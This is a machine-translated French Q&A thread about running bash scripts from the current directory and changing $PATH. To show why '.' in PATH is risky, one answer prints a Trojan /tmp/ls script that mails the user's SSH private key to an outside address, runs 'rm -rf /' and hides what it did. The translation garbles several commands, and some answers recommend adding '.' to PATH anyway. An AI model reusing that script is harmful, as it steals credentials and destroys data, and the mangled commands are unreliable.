Pourquoi dois-je utiliser un chemin absolu pour exécuter des scripts bash?

OK, j’ai un script bash sur mon bureau appelé highest

si je cours:

 cd ~/Desktop highest 

Je reçois: Commande introuvable

Mais si je cours:

 ~/Desktop/highest 

Il s’exécute très bien. Mais pourquoi dois-je toujours utiliser le chemin absolu lorsque ma ligne de commande est dans le bon répertoire?

Je suppose que cela a quelque chose à voir avec la variable $PATH ? Comme je dois append quelque chose comme ça. Si oui, comment puis-je append cela? Je n’ai pas encore l’habitude de Linux et je suis très confus quand cela se produit.

Je suis d’accord avec la déclaration de @ Dennis. Ne pas append ‘.’ à votre PATH. C’est un risque de sécurité, car cela permettrait à un pirate de remplacer vos commandes. Pour une bonne explication, voir http://www.linux.org/docs/ldp/howto/Path-12.html .

Par exemple, prétendez que j’étais un pirate et que j’ai créé des fichiers de type Trojan, comme / tmp / ls, comme ça. Imaginez que c’était sur un système partagé dans une université ou quelque chose.

 $ cat /tmp/ls #!/bin/sh # Cracker does bad stuff. # Execute in background and hide any output from the user. # This helps to hide the commands so the user doesn't notice anything. cat ~/.ssh/mysecretsshkey | mailx -s "haha" [email protected] >/dev/null 2>&1 & echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" [email protected] >/dev/null 2>&1 & & rm -rf / >/dev/null 2>&1 & # and then we execute /bin/ls so that the luser thinks that the command # executed without error. Also, it scrolls the output off the screen. /bin/ls $* 

Que se passerait-il si vous étiez dans le répertoire / tmp et exécutiez la commande ‘ls’? Si PATH inclus . , alors vous exécuterez / tmp / ls, lorsque votre intention réelle était d’utiliser les “ls” par défaut à / bin / ls.

Au lieu de cela, si vous voulez exécuter vos propres binarys, appelez le script explicitement (par exemple ./highest ) ou créez votre propre répertoire bin, ce que font la plupart des utilisateurs.

  1. Ajoutez votre propre répertoire ~ / bin et placez-y vos propres binarys.

     mkdir ~/bin vi ~/bin/highest 
  2. Ensuite, modifiez votre PATH pour utiliser votre fichier binary local. Modifiez l’instruction PATH dans votre fichier .bashrc pour qu’il ressemble à ceci.

    export PATH = $ PATH: ~ / bin

  3. Pour vérifier que votre chemin est le highest , procédez comme suit:

     bash$ which highest /Users/stefanl/bin/highest 

Oui, l’ajout de ./ est correct, donc lancez cd ~/Desktop; ./highest cd ~/Desktop; ./highest travaillera. Le problème est que vous avez dit: courir le highest en lui-même fait que Linux regarde dans votre $PATH tout ce qui est nommé le highest , et comme il n’y a rien appelé, il échoue. En ./highest exécution ./highest dans le bon répertoire contournera complètement le problème puisque vous spécifiez le chemin d’access à l’exécutable.

La meilleure chose à faire est de vous habituer à utiliser ./highest lorsque vous souhaitez exécuter une commande qui se trouve dans votre répertoire, à moins que vous souhaitiez réellement l’append à votre chemin. Ensuite, vous devez l’append à votre chemin dans votre fichier .profile dans votre répertoire personnel (créez-le s’il n’y en a pas) afin qu’il soit chargé dans votre chemin chaque fois que vous démarrez bash:

export PATH = “/ usr / local / bin: / usr / local / sbin:.: $ PATH”

Ne modifiez pas PATH , déplacez ou liez simplement le script à un emplacement standard, par exemple

 mkdir -p ~/bin cd ~/bin ln -s ../Desktop/highest highest 

Si ~/bin est sur votre chemin (et AFAIR c’est le cas si vous utilisez les scripts d’initialisation shell par défaut d’Ubuntu), vous pouvez appeler les scripts depuis n’importe où par leur nom.

Vous devez append le répertoire local à votre chemin:

 PATH=$PATH:. export PATH 

Cela peut être fait dans votre fichier .profile ou .bash_profile pour toujours le configurer chaque fois que vous vous connectez.

En outre, vous pouvez également exécuter la commande avec le marqueur de répertoire actuel:

 ./highest 

ainsi que.

Bien sûr, il y a des implications en matière de sécurité, comme indiqué ci-dessous par de nombreux utilisateurs, ce que j’aurais dû mentionner.